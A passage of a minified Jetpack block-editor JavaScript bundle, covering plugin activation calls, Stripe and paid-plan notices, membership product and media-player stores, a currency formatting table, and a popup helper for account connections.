__("Congratulations! Your site is now on the %s plan.","jetpack"),e):__("Congratulations! Your site is now on a paid plan.","jetpack"),{isDismissible:!0,...t&&{actions:[{url:l(),label:__("View my plan","jetpack")}]}})}}}})()},45092:function(e,t,n){"use strict";n.d(t,{bu:function(){return l},uM:function(){return i},yX:function(){return s}});var r=n(13419),a=n(86989),o=n.n(a);async function i(){if((0,r.Wp)())return Promise.reject();try{return await o()({path:"/jetpack/v4/plugins"})}catch(e){return Promise.reject(e.message)}}async function s(e){if((0,r.Wp)())return Promise.reject();try{return await o()({path:"/jetpack/v4/plugins",method:"POST",data:{slug:e,status:"active",source:"block-editor"}})}catch(e){return Promise.reject(e.message)}}async function l(e){if((0,r.Wp)())return Promise.reject();try{return await o()({path:`/jetpack/v4/plugins/${e}`,method:"POST",data:{status:"active",source:"block-editor"}})}catch(e){return Promise.reject(e.message)}}},80425:function(e,t,n){"object"==typeof window&&window.Jetpack_Block_Assets_Base_Url&&window.Jetpack_Block_Assets_Base_Url.url&&(n.p=window.Jetpack_Block_Assets_Base_Url.url)},31985:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(13419),a=n(4981),o=n(92694);function i(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[],i=!(arguments.length>3&&void 0!==arguments[3])||arguments[3];const{available:s,details:l,unavailableReason:c}=(0,r.OZ)(e),u=(0,r._D)(c,l),d=i?"jetpack/":"";if(!s&&!u)return!1;const p=(0,a.registerBlockType)(d+e,t);return u&&(0,o.addFilter)("editor.BlockListBlock",`${d+e}-with-has-warning-is-interactive-class-names`,(0,r.T)(d+e)),n.forEach((e=>(0,a.registerBlockType)(d+e.name,e.settings))),p}},36598:function(e,t,n){"use strict";var r=n(51806),a=n(70444);t.Z=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:24,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:24,o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"0 0 24 24";return(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:t,height:n,viewBox:o},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z",className:"icon-filler"}),e)}},66425:function(e,t,n){"use strict";var r=n(51806),a=n(52175);t.Z=(e,t,n,o,i)=>{const{isSelected:s}=t,l=t.attributes[e];return(0,r.createElement)("div",{className:s?`jetpack-${e}-block is-selected`:`jetpack-${e}-block`},!s&&""!==l&&o(t),(s||""===l)&&(0,r.createElement)(a.PlainText,{value:l,placeholder:n,"aria-label":n,onChange:i}))}},92713:function(e,t,n){"use strict";var r=n(9818),a=n(65736);n(53961);const __=a.__;if("undefined"!=typeof window&&window.location){const e=new URLSearchParams(window.location.search);e.get("stripe_connect_success")?(0,r.dispatch)("core/notices").createNotice("success",__("Congrats! Your site is now connected to Stripe. You can now start accepting funds!","jetpack")):e.get("stripe_connect_cancelled")&&(0,r.dispatch)("core/notices").createNotice("error",__("You cancelled connecting your site to Stripe.","jetpack"))}},23621:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(86989),a=n.n(r),o=n(92819);function i(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:o.noop;return t(!0),new Promise(((n,r)=>{a()({path:`/wpcom/v2/resolve-redirect/?url=${encodeURIComponent(e)}`}).then((a=>{t(!1);const o=a.status?parseInt(a.status,10):null;o&&o>=400?r():n(a.url||e)}),(()=>{t(!1),r()}))}))}},46867:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(9818),a=n(69307),o=n(92819);function i(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:o.noop;const[n,i]=(0,a.useState)(!1),{isAutosaveablePost:s,isDirtyPost:l,currentPost:c}=(0,r.useSelect)((e=>{const t=e("core/editor");return{isAutosaveablePost:t.isEditedPostAutosaveable(),isDirtyPost:t.isEditedPostDirty(),currentPost:t.getCurrentPost()}}),[]),u=Object.keys(c).length>0,d=(0,r.useSelect)((e=>!!window.wp?.customize||!!e("core/edit-widgets"))),p=(0,r.dispatch)("core/editor").savePost,m=(0,r.useSelect)((e=>e("core").__experimentalGetDirtyEntityRecords())),h=async e=>{e.preventDefault(),u?l&&s&&await p(e):await(async()=>{for(let e=0;e<m.length;e++)await(0,r.dispatch)("core").saveEditedEntityRecord(m[e].kind,m[e].name,m[e].key)})()};return{autosave:h,autosaveAndRedirect:async r=>{r.preventDefault(),n||(i(!0),h(r).then((()=>{!function(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];t&&t(e),n?window.open(e,"_blank"):window.top.location.href=e}(e,t,d)})))},isRedirecting:n}}},78798:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(13419),a=n(9818),o=n(92694),i=n(92819),s=(n(87553),n(46867));const l="a8c.wpcom-block-editor.openCheckoutModal";function c(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:i.noop;const{checkoutUrl:n,planData:c}=(0,a.useSelect)((t=>{const n=t("core/editor"),a=t("wordpress-com/plans"),{id:o,type:i}=n.getCurrentPost(),s=a&&a.getPlan(e);return{checkoutUrl:(0,r.Qq)({plan:s,planSlug:e,postId:o,postType:i}),planData:s}}),[]),{autosave:u,autosaveAndRedirect:d,isRedirecting:p}=(0,s.Z)(n,t);return[n,async e=>{if(e.preventDefault(),(0,o.hasAction)(l))return e.preventDefault(),u(e),void(0,o.doAction)(l,{products:[c]});d(e)},p,c]}},81673:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(69307);const a=e=>{const t=(0,r.useRef)();return(0,r.useEffect)((()=>{t.current=e}),[e]),t.current};function o(e){let{attributes:t,disableEffects:n=!1,setAttributes:o}=e;const{align:i,width:s}=t,l=a(i);(0,r.useEffect)((()=>{if(n)return;l!==i&&("left"===i||"right"===i)&&s?.includes("%")&&o({width:void 0})}),[i,n,l,o,s])}},46185:function(e,t,n){"use strict";n.d(t,{U:function(){return a}});var r=n(9818);const a=async()=>new Promise((e=>{const t=(0,r.subscribe)((()=>{(0,r.select)("core/editor").isCleanNewPost()&&(t(),e());(0,r.select)("core/block-editor").getBlocks().length>0&&(t(),e())}))}))},30429:function(e,t,n){"use strict";n.d(t,{G:function(){return h},g:function(){return f}});var r=n(82674),a=n.n(r),o=n(51806),i=n(55609),s=n(69307),l=n(65736),c=n(65235),u=n.n(c);const __=l.__,d=[{value:"%",label:"%",default:100},{value:"px",label:"px",default:150},{value:"em",label:"em",default:10}],p=[{value:"px",label:"px",default:150},{value:"em",label:"em",default:10}],m=["25%","50%","75%","100%"];function h(e){return(0,o.createElement)(i.PanelBody,{title:__("Width settings","jetpack")},(0,o.createElement)(f,a()({showLabel:!1},e)))}function f(e){let{align:t,width:n,onChange:r,showLabel:a=!0}=e;const[l,c]=(0,s.useState)("%");(0,s.useEffect)((()=>{void 0===n&&c("px")}),[n]);const h="left"===t||"right"===t;return(0,o.createElement)(i.BaseControl,{label:a&&__("Width","jetpack")},(0,o.createElement)("div",{className:u()("jetpack-block-width-controls",{"is-aligned":h})},!h&&(0,o.createElement)(i.ButtonGroup,{"aria-label":__("Percentage Width","jetpack")},m.map((e=>(0,o.createElement)(i.Button,{key:e,isSmall:!0,variant:e===n?"primary":void 0,onClick:()=>function(e){const t=n===e?void 0:e;c("%"),r(t)}(e)},e)))),(0,o.createElement)(i.__experimentalUnitControl,{isResetValueOnUnitChange:!0,max:"%"===l||n?.includes("%")?100:void 0,min:0,onChange:e=>r(e),onUnitChange:e=>c(e),size:"small",units:h?p:d,value:n})))}},97115:function(e,t,n){"use strict";n.d(t,{Vy:function(){return o},Wp:function(){return a},_5:function(){return i},tT:function(){return r}});const r="jetpack/media-source",a="is-playing",o="is-error",i="is-paused"},14688:function(e,t,n){"use strict";var r=n(9818),a=n(97115),o=n(66858);if(void 0!==r.createReduxStore){const e=(0,r.createReduxStore)(a.tT,o.Z);(0,r.register)(e)}else(0,r.registerStore)(a.tT,o.Z)},66858:function(e,t,n){"use strict";var r=n(97115);const a={sources:{},default:null},o={getDefaultMediaSource(e){let t=null;const n=Object.keys(e.sources);if(e.default?t=e.default:n?.length&&(t=e.sources[n[0]].id),t)return e.sources[t]},getMediaPlayerState(e,t){const n=t?e.sources?.[t]:o.getDefaultMediaSource(e);return n?.state},getMediaSourceCurrentTime(e,t){const n=t?e.sources?.[t]:o.getDefaultMediaSource(e);return n?.currentTime},getMediaSourceDuration(e,t){if(!t){const t=o.getDefaultMediaSource(e);return t?.duration}return e.sources?.[t]?.duration},getMediaSourceDomReference(e,t){const n=t?e.sources?.[t]:o.getDefaultMediaSource(e);if(!n)return;const r=n?.domId;return r?document.getElementById(r):void 0}},i={reducer(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:a,t=arguments.length>1?arguments[1]:void 0;const n=t.id||e.default||Object.keys(e.sources)?.[0];switch(t.type){case"REGISTER_MEDIA_SOURCE":return{...e,sources:{...e.sources,[t.id]:{id:t.id,...t.mediaSourceState}}};case"UPDATE_MEDIA_SOURCE_DATA":return{...e,sources:{...e.sources,[t.id]:{...e.sources[t.id],...t.data}}};case"UNREGISTER_MEDIA_SOURCE":{const n=Object.assign({},e);return n.sources[t.id]&&delete n.sources[t.id],t.id===e.default&&(n.default=Object.keys(e.sources)?.[0]),n}case"SET_DEFAULT_MEDIA_SOURCE":return{...e,default:t.id};case"SET_MEDIA_PLAYER_STATE":return{...e,sources:{...e.sources,[n]:{...e.sources[n],state:t.state}}};case"TOGGLE_MEDIA_PLAYER_STATE":return{...e,sources:{...e.sources,[n]:{...e.sources[n],state:e.sources[n].state===r.Wp?r._5:r.Wp}}};case"SET_MEDIA_PLAYER_CURRENT_TIME":return{...e,sources:{...e.sources,[n]:{...e.sources[n],currentTime:t.currentTime}}}}return e},actions:{registerMediaSource:(e,t)=>({type:"REGISTER_MEDIA_SOURCE",id:e,mediaSourceState:t}),updateMediaSourceData:(e,t)=>({type:"UPDATE_MEDIA_SOURCE_DATA",id:e,data:t}),unregisterMediaSource:e=>({type:"UNREGISTER_MEDIA_SOURCE",id:e}),setDefaultMediaSource:e=>({type:"SET_DEFAULT_MEDIA_SOURCE",id:e}),playMediaSource:e=>({type:"SET_MEDIA_PLAYER_STATE",id:e,state:r.Wp}),toggleMediaSource:e=>({type:"TOGGLE_MEDIA_PLAYER_STATE",id:e}),pauseMediaSource:e=>({type:"SET_MEDIA_PLAYER_STATE",id:e,state:r._5}),errorMediaSource:e=>({type:"SET_MEDIA_PLAYER_STATE",id:e,state:r.Vy}),setMediaSourceCurrentTime:(e,t)=>({type:"SET_MEDIA_PLAYER_CURRENT_TIME",id:e,currentTime:t})},selectors:o};t.Z=i},6247:function(e,t,n){"use strict";n.r(t),n.d(t,{saveProduct:function(){return v},setApiState:function(){return h},setConnectUrl:function(){return m},setProducts:function(){return p},setShouldUpgrade:function(){return f},setSiteSlug:function(){return g},setUpgradeUrl:function(){return b}});var r=n(25607),a=n(86989),o=n.n(a),i=n(65736),s=n(14436),l=n(51585),c=n(79162),u=n(23267),d=n(46529);const __=i.__,p=e=>({type:"SET_PRODUCTS",products:e}),m=e=>({type:"SET_CONNECT_URL",connectUrl:e}),h=e=>({type:"SET_API_STATE",apiState:e}),f=e=>({type:"SET_SHOULD_UPGRADE",shouldUpgrade:e}),g=e=>({type:"SET_SITE_SLUG",siteSlug:e}),b=e=>({type:"SET_UPGRADE_URL",upgradeUrl:e}),v=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:s.Bn,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:()=>{},a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:()=>{};return async s=>{let{dispatch:m,registry:h}=s;const{title:f,price:g,currency:b}=e;if(!f||0===f.length)return(0,d.q)((0,l.l)("product requires a name",t),h),void a(!1);const v=parseFloat(g),k=(0,c.hj)(b);if(v<k)return(0,d.q)((0,i.sprintf)(
// translators: %s: Price
__("Minimum allowed price is %s.","jetpack"),(0,r.ZP)(k,b)),h),void a(!1);if(!(0,c.vs)(b,v))return(0,d.q)((0,l.l)("product requires a valid price",t),h),void a(!1);try{const r=await o()({path:"/wpcom/v2/memberships/product",method:"POST",data:e}),i={id:r.id,title:r.title,interval:r.interval,price:r.price,currency:r.currency},s=h.select(u.G4).getProducts();m(p(s.concat([i]))),n(i.id),(0,d.w)((0,l.l)("successfully created product",t),h),a(!0)}catch(e){(0,d.q)((0,l.l)("there was an error when adding the product",t),h),a(!1)}}}},23267:function(e,t,n){"use strict";n.d(t,{G4:function(){return r},P:function(){return i},cH:function(){return o},lp:function(){return a}});const r="jetpack/membership-products",a=0,o=1,i=2},7652:function(e,t,n){"use strict";n.d(t,{h:function(){return c}});var r=n(9818),a=n(6247),o=n(23267),i=n(93100),s=n(20360),l=n(93245);const c=(0,r.createReduxStore)(o.G4,{actions:a,reducer:i.Z,resolvers:s,selectors:l,__experimentalUseThunks:!0});(0,r.register)(c)},93100:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});const r={products:[],apiState:n(23267).lp,connectUrl:null,shouldUpgrade:!1,siteSlug:"",upgradeUrl:null};function a(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:r,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"SET_PRODUCTS":return{...e,products:t.products};case"SET_CONNECT_URL":return{...e,connectUrl:t.connectUrl};case"SET_API_STATE":return{...e,apiState:t.apiState};case"SET_SHOULD_UPGRADE":return{...e,shouldUpgrade:t.shouldUpgrade};case"SET_SITE_SLUG":return{...e,siteSlug:t.siteSlug};case"SET_UPGRADE_URL":return{...e,upgradeUrl:t.upgradeUrl}}return e}},20360:function(e,t,n){"use strict";n.r(t),n.d(t,{getProducts:function(){return b}});var r=n(86989),a=n.n(r),o=n(12238),i=n(96483),s=n(14436),l=n(51585),c=n(73905),u=n(74251),d=n(6247),p=n(23267),m=n(46529);const h="membership-products-resolver-getProducts";let f=!1;const g=(e,t,n)=>{if(e)return;const r=n.getProductsNoResolver()[0]?.id;r&&t(r)},b=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:s.Bn,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:()=>{};return async r=>{let{dispatch:s,registry:b,select:v}=r;if(await c.Z.blockExecution(h),f)return void g(t,n,v);const k=c.Z.acquire(h);try{const r=await(async()=>{const e=(0,i.getQueryArg)(window.location.href,"origin"),t=(0,i.addQueryArgs)("/wpcom/v2/memberships/status",{source:"https://wordpress.com"===e?"gutenberg-wpcom":"gutenberg",type:"all",is_editable:!0}),n=await a()({path:t,method:"GET"});if(!n&&"object"!=typeof n)throw new Error("Unexpected API response");const r=n?.errors&&Object.values(n.errors)?.[0]?.[0];if(r)throw new Error(r);return n})();((e,t,n)=>{const r=t.select(o.store).getCurrentPostId();n((0,d.setConnectUrl)((0,u.Z)(r,e.connect_url))),n((0,d.setShouldUpgrade)(e.should_upgrade_to_access_memberships)),n((0,d.setSiteSlug)(e.site_slug)),n((0,d.setUpgradeUrl)(e.upgrade_url)),n((0,d.setProducts)(e.products)),n((0,d.setApiState)(e.connected_account_id?p.cH:p.P))})(r,b,s),(e=>!e.products.length&&!e.should_upgrade_to_access_memberships&&e.connected_account_id)(r)&&await(async(e,t,n)=>{await n((0,d.saveProduct)({title:(0,l.l)("default new product title",e),currency:"USD",price:5,interval:"1 month"},e,t))})(e,n,s),g(t,n,v),f=!0}catch(e){s((0,d.setConnectUrl)(null)),s((0,d.setApiState)(p.P)),(0,m.q)(e.message,b)}c.Z.release(k)}}},93245:function(e,t,n){"use strict";n.r(t),n.d(t,{getApiState:function(){return a},getConnectUrl:function(){return o},getProduct:function(){return l},getProducts:function(){return i},getProductsNoResolver:function(){return s},getShouldUpgrade:function(){return c},getSiteSlug:function(){return u},getUpgradeUrl:function(){return d},isApiStateConnected:function(){return p},isApiStateLoading:function(){return m},isInvalidProduct:function(){return h}});var r=n(23267);const a=e=>e.apiState,o=e=>e.connectUrl,i=e=>e.products,s=e=>i(e),l=(e,t)=>i(e).find((e=>e.id===t)),c=e=>e.shouldUpgrade,u=e=>e.siteSlug,d=e=>!!c(e)&&e.upgradeUrl,p=e=>e.apiState===r.cH,m=e=>e.apiState===r.lp,h=(e,t)=>!!t&&!l(e,t)},46529:function(e,t,n){"use strict";n.d(t,{q:function(){return a},w:function(){return o}});var r=n(53961);const a=(e,t)=>t.dispatch(r.store).createErrorNotice(e,{type:"snackbar"}),o=(e,t)=>t.dispatch(r.store).createSuccessNotice(e,{type:"snackbar"})},43317:function(e,t,n){"use strict";n.d(t,{M:function(){return r},X:function(){return a}});const r={AED:{symbol:"د.إ.‏",grouping:",",decimal:".",precision:2},AFN:{symbol:"؋",grouping:",",decimal:".",precision:2},ALL:{symbol:"Lek",grouping:".",decimal:",",precision:2},AMD:{symbol:"֏",grouping:",",decimal:".",precision:2},ANG:{symbol:"ƒ",grouping:",",decimal:".",precision:2},AOA:{symbol:"Kz",grouping:",",decimal:".",precision:2},ARS:{symbol:"$",grouping:".",decimal:",",precision:2},AUD:{symbol:"A$",grouping:",",decimal:".",precision:2},AWG:{symbol:"ƒ",grouping:",",decimal:".",precision:2},AZN:{symbol:"₼",grouping:" ",decimal:",",precision:2},BAM:{symbol:"КМ",grouping:".",decimal:",",precision:2},BBD:{symbol:"Bds$",grouping:",",decimal:".",precision:2},BDT:{symbol:"৳",grouping:",",decimal:".",precision:0},BGN:{symbol:"лв.",grouping:" ",decimal:",",precision:2},BHD:{symbol:"د.ب.‏",grouping:",",decimal:".",precision:3},BIF:{symbol:"FBu",grouping:",",decimal:".",precision:0},BMD:{symbol:"$",grouping:",",decimal:".",precision:2},BND:{symbol:"$",grouping:".",decimal:",",precision:0},BOB:{symbol:"Bs",grouping:".",decimal:",",precision:2},BRL:{symbol:"R$",grouping:".",decimal:",",precision:2},BSD:{symbol:"$",grouping:",",decimal:".",precision:2},BTC:{symbol:"Ƀ",grouping:",",decimal:".",precision:2},BTN:{symbol:"Nu.",grouping:",",decimal:".",precision:1},BWP:{symbol:"P",grouping:",",decimal:".",precision:2},BYR:{symbol:"р.",grouping:" ",decimal:",",precision:2},BZD:{symbol:"BZ$",grouping:",",decimal:".",precision:2},CAD:{symbol:"C$",grouping:",",decimal:".",precision:2},CDF:{symbol:"FC",grouping:",",decimal:".",precision:2},CHF:{symbol:"CHF",grouping:"'",decimal:".",precision:2},CLP:{symbol:"$",grouping:".",decimal:",",precision:2},CNY:{symbol:"¥",grouping:",",decimal:".",precision:2},COP:{symbol:"$",grouping:".",decimal:",",precision:2},CRC:{symbol:"₡",grouping:".",decimal:",",precision:2},CUC:{symbol:"CUC",grouping:",",decimal:".",precision:2},CUP:{symbol:"$MN",grouping:",",decimal:".",precision:2},CVE:{symbol:"$",grouping:",",decimal:".",precision:2},CZK:{symbol:"Kč",grouping:" ",decimal:",",precision:2},DJF:{symbol:"Fdj",grouping:",",decimal:".",precision:0},DKK:{symbol:"kr.",grouping:"",decimal:",",precision:2},DOP:{symbol:"RD$",grouping:",",decimal:".",precision:2},DZD:{symbol:"د.ج.‏",grouping:",",decimal:".",precision:2},EGP:{symbol:"ج.م.‏",grouping:",",decimal:".",precision:2},ERN:{symbol:"Nfk",grouping:",",decimal:".",precision:2},ETB:{symbol:"ETB",grouping:",",decimal:".",precision:2},EUR:{symbol:"€",grouping:".",decimal:",",precision:2},FJD:{symbol:"FJ$",grouping:",",decimal:".",precision:2},FKP:{symbol:"£",grouping:",",decimal:".",precision:2},GBP:{symbol:"£",grouping:",",decimal:".",precision:2},GEL:{symbol:"Lari",grouping:" ",decimal:",",precision:2},GHS:{symbol:"₵",grouping:",",decimal:".",precision:2},GIP:{symbol:"£",grouping:",",decimal:".",precision:2},GMD:{symbol:"D",grouping:",",decimal:".",precision:2},GNF:{symbol:"FG",grouping:",",decimal:".",precision:0},GTQ:{symbol:"Q",grouping:",",decimal:".",precision:2},GYD:{symbol:"G$",grouping:",",decimal:".",precision:2},HKD:{symbol:"HK$",grouping:",",decimal:".",precision:2},HNL:{symbol:"L.",grouping:",",decimal:".",precision:2},HRK:{symbol:"kn",grouping:".",decimal:",",precision:2},HTG:{symbol:"G",grouping:",",decimal:".",precision:2},HUF:{symbol:"Ft",grouping:".",decimal:",",precision:0},IDR:{symbol:"Rp",grouping:".",decimal:",",precision:0},ILS:{symbol:"₪",grouping:",",decimal:".",precision:2},INR:{symbol:"₹",grouping:",",decimal:".",precision:2},IQD:{symbol:"د.ع.‏",grouping:",",decimal:".",precision:2},IRR:{symbol:"﷼",grouping:",",decimal:"/",precision:2},ISK:{symbol:"kr.",grouping:".",decimal:",",precision:0},JMD:{symbol:"J$",grouping:",",decimal:".",precision:2},JOD:{symbol:"د.ا.‏",grouping:",",decimal:".",precision:3},JPY:{symbol:"¥",grouping:",",decimal:".",precision:0},KES:{symbol:"S",grouping:",",decimal:".",precision:2},KGS:{symbol:"сом",grouping:" ",decimal:"-",precision:2},KHR:{symbol:"៛",grouping:",",decimal:".",precision:0},KMF:{symbol:"CF",grouping:",",decimal:".",precision:2},KPW:{symbol:"₩",grouping:",",decimal:".",precision:0},KRW:{symbol:"₩",grouping:",",decimal:".",precision:0},KWD:{symbol:"د.ك.‏",grouping:",",decimal:".",precision:3},KYD:{symbol:"$",grouping:",",decimal:".",precision:2},KZT:{symbol:"₸",grouping:" ",decimal:"-",precision:2},LAK:{symbol:"₭",grouping:",",decimal:".",precision:0},LBP:{symbol:"ل.ل.‏",grouping:",",decimal:".",precision:2},LKR:{symbol:"₨",grouping:",",decimal:".",precision:0},LRD:{symbol:"L$",grouping:",",decimal:".",precision:2},LSL:{symbol:"M",grouping:",",decimal:".",precision:2},LYD:{symbol:"د.ل.‏",grouping:",",decimal:".",precision:3},MAD:{symbol:"د.م.‏",grouping:",",decimal:".",precision:2},MDL:{symbol:"lei",grouping:",",decimal:".",precision:2},MGA:{symbol:"Ar",grouping:",",decimal:".",precision:0},MKD:{symbol:"ден.",grouping:".",decimal:",",precision:2},MMK:{symbol:"K",grouping:",",decimal:".",precision:2},MNT:{symbol:"₮",grouping:" ",decimal:",",precision:2},MOP:{symbol:"MOP$",grouping:",",decimal:".",precision:2},MRO:{symbol:"UM",grouping:",",decimal:".",precision:2},MTL:{symbol:"₤",grouping:",",decimal:".",precision:2},MUR:{symbol:"₨",grouping:",",decimal:".",precision:2},MVR:{symbol:"MVR",grouping:",",decimal:".",precision:1},MWK:{symbol:"MK",grouping:",",decimal:".",precision:2},MXN:{symbol:"MX$",grouping:",",decimal:".",precision:2},MYR:{symbol:"RM",grouping:",",decimal:".",precision:2},MZN:{symbol:"MT",grouping:",",decimal:".",precision:0},NAD:{symbol:"N$",grouping:",",decimal:".",precision:2},NGN:{symbol:"₦",grouping:",",decimal:".",precision:2},NIO:{symbol:"C$",grouping:",",decimal:".",precision:2},NOK:{symbol:"kr",grouping:" ",decimal:",",precision:2},NPR:{symbol:"₨",grouping:",",decimal:".",precision:2},NZD:{symbol:"NZ$",grouping:",",decimal:".",precision:2},OMR:{symbol:"﷼",grouping:",",decimal:".",precision:3},PAB:{symbol:"B/.",grouping:",",decimal:".",precision:2},PEN:{symbol:"S/.",grouping:",",decimal:".",precision:2},PGK:{symbol:"K",grouping:",",decimal:".",precision:2},PHP:{symbol:"₱",grouping:",",decimal:".",precision:2},PKR:{symbol:"₨",grouping:",",decimal:".",precision:2},PLN:{symbol:"zł",grouping:" ",decimal:",",precision:2},PYG:{symbol:"₲",grouping:".",decimal:",",precision:2},QAR:{symbol:"﷼",grouping:",",decimal:".",precision:2},RON:{symbol:"lei",grouping:".",decimal:",",precision:2},RSD:{symbol:"Дин.",grouping:".",decimal:",",precision:2},RUB:{symbol:"₽",grouping:" ",decimal:",",precision:2},RWF:{symbol:"RWF",grouping:" ",decimal:",",precision:2},SAR:{symbol:"﷼",grouping:",",decimal:".",precision:2},SBD:{symbol:"S$",grouping:",",decimal:".",precision:2},SCR:{symbol:"₨",grouping:",",decimal:".",precision:2},SDD:{symbol:"LSd",grouping:",",decimal:".",precision:2},SDG:{symbol:"£‏",grouping:",",decimal:".",precision:2},SEK:{symbol:"kr",grouping:",",decimal:".",precision:2},SGD:{symbol:"S$",grouping:",",decimal:".",precision:2},SHP:{symbol:"£",grouping:",",decimal:".",precision:2},SLL:{symbol:"Le",grouping:",",decimal:".",precision:2},SOS:{symbol:"S",grouping:",",decimal:".",precision:2},SRD:{symbol:"$",grouping:",",decimal:".",precision:2},STD:{symbol:"Db",grouping:",",decimal:".",precision:2},SVC:{symbol:"₡",grouping:",",decimal:".",precision:2},SYP:{symbol:"£",grouping:",",decimal:".",precision:2},SZL:{symbol:"E",grouping:",",decimal:".",precision:2},THB:{symbol:"฿",grouping:",",decimal:".",precision:2},TJS:{symbol:"TJS",grouping:" ",decimal:";",precision:2},TMT:{symbol:"m",grouping:" ",decimal:",",precision:0},TND:{symbol:"د.ت.‏",grouping:",",decimal:".",precision:3},TOP:{symbol:"T$",grouping:",",decimal:".",precision:2},TRY:{symbol:"TL",grouping:".",decimal:",",precision:2},TTD:{symbol:"TT$",grouping:",",decimal:".",precision:2},TVD:{symbol:"$T",grouping:",",decimal:".",precision:2},TWD:{symbol:"NT$",grouping:",",decimal:".",precision:2},TZS:{symbol:"TSh",grouping:",",decimal:".",precision:2},UAH:{symbol:"₴",grouping:" ",decimal:",",precision:2},UGX:{symbol:"USh",grouping:",",decimal:".",precision:2},USD:{symbol:"$",grouping:",",decimal:".",precision:2},UYU:{symbol:"$U",grouping:".",decimal:",",precision:2},UZS:{symbol:"сўм",grouping:" ",decimal:",",precision:2},VEB:{symbol:"Bs.",grouping:",",decimal:".",precision:2},VEF:{symbol:"Bs. F.",grouping:".",decimal:",",precision:2},VND:{symbol:"₫",grouping:".",decimal:",",precision:1},VUV:{symbol:"VT",grouping:",",decimal:".",precision:0},WST:{symbol:"WS$",grouping:",",decimal:".",precision:2},XAF:{symbol:"F",grouping:",",decimal:".",precision:2},XCD:{symbol:"$",grouping:",",decimal:".",precision:2},XOF:{symbol:"F",grouping:" ",decimal:",",precision:2},XPF:{symbol:"F",grouping:",",decimal:".",precision:2},YER:{symbol:"﷼",grouping:",",decimal:".",precision:2},ZAR:{symbol:"R",grouping:" ",decimal:",",precision:2},ZMW:{symbol:"ZK",grouping:",",decimal:".",precision:2},WON:{symbol:"₩",grouping:",",decimal:".",precision:2}};function a(e){return r[e]||{symbol:"$",grouping:",",decimal:".",precision:2}}},25607:function(e,t,n){"use strict";n.d(t,{ZP:function(){return o}});var r=n(43317),a=n(5375);function o(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const o=(0,r.X)(t);if(!o||isNaN(e))return null;const{decimal:i,grouping:s,precision:l,symbol:c}={...o,...n},u=e<0?"-":"";let d=(0,a.Z)(Math.abs(e),l,i,s);return n.stripZeros&&(d=function(e,t){const n=new RegExp(`\\${t}0+$`);return e.replace(n,"")}(d,i)),`${u}${c}${d}`}},5375:function(e,t,n){"use strict";function r(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:".",r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:",";const a=(e+"").replace(/[^0-9+\-Ee.]/g,""),o=isFinite(+a)?+a:0,i=isFinite(+t)?Math.abs(t):0,s=(i?function(e,t){const n=Math.pow(10,t);return""+(Math.round(e*n)/n).toFixed(t)}(o,i):""+Math.round(o)).split(".");return s[0].length>3&&(s[0]=s[0].replace(/\B(?=(?:\d{3})+(?!\d))/g,r)),(s[1]||"").length<i&&(s[1]=s[1]||"",s[1]+=new Array(i-s[1].length+1).join("0")),s.join(n)}n.d(t,{Z:function(){return r}})},7211:function(e,t,n){"use strict";var r,a=n(53184);function o(){this.intervals={},this.monitorInterval=null,this.windowInstance=null,this.onMessage=e=>{e.source===this.windowInstance&&this.emit("message",e.data)}}r=o.prototype,Object.assign(r,a.EventEmitter.prototype),r.emitChange=function(){this.emit("change")},r.off=r.removeListener,o.prototype.open=function(e,t,n){return t=t||Date.now(),this.windowInstance=window.open(e,t,n),this.startMonitoring(t,this.windowInstance),window.addEventListener("message",this.onMessage,!1),this},o.prototype.getScreenCenterSpecs=function(e,t){const n=void 0!==window.screenTop?window.screenTop:window.screenY,r=void 0!==window.screenLeft?window.screenLeft:window.screenX;return["width="+e,"height="+t,"top="+(n+window.innerHeight/2-t/2),"left="+(r+window.innerWidth/2-e/2)].join()},o.prototype.isOpen=function(e){let t=!1;try{t=this.intervals[e]&&this.intervals[e].closed}catch(e){}return!t},o.prototype.checkStatus=function(){for(const e in this.intervals)this.intervals.hasOwnProperty(e)&&!this.isOpen(e)&&(this.emit("close",e),delete this.intervals[e]);0===Object.keys(this.intervals).length&&(clearInterval(this.monitorInterval),delete this.monitorInterval,window.removeEventListener("message",this.onMessage))},o.prototype.startMonitoring=function(e,t){this.monitorInterval||(this.monitorInterval=setInterval(this.checkStatus.bind(this),100)),this.intervals[e]=t},t.Z=o},39229:function(e,t,n){"use strict";var r=n(7211);t.Z=function(e,t){var n,a=new r.Z;a.open(e,null,"toolbar=0,location=0,status=0,menubar=0,"+a.getScreenCenterSpecs(780,700)),a.once("close",(function(){var e={};n&&n.keyring_id&&(e.keyring_id=Number(n.keyring_id),e.id_token=n.id_token,e.user=n.user),t(e)})),a.on("message",(function(e){return n=e}))}},79988:function(e,t,n){"use strict";var r=n(92819),a=n(25162),o=n.n(a),i=n(99196),s=n(21987),l=(n(59961),n(94362));const 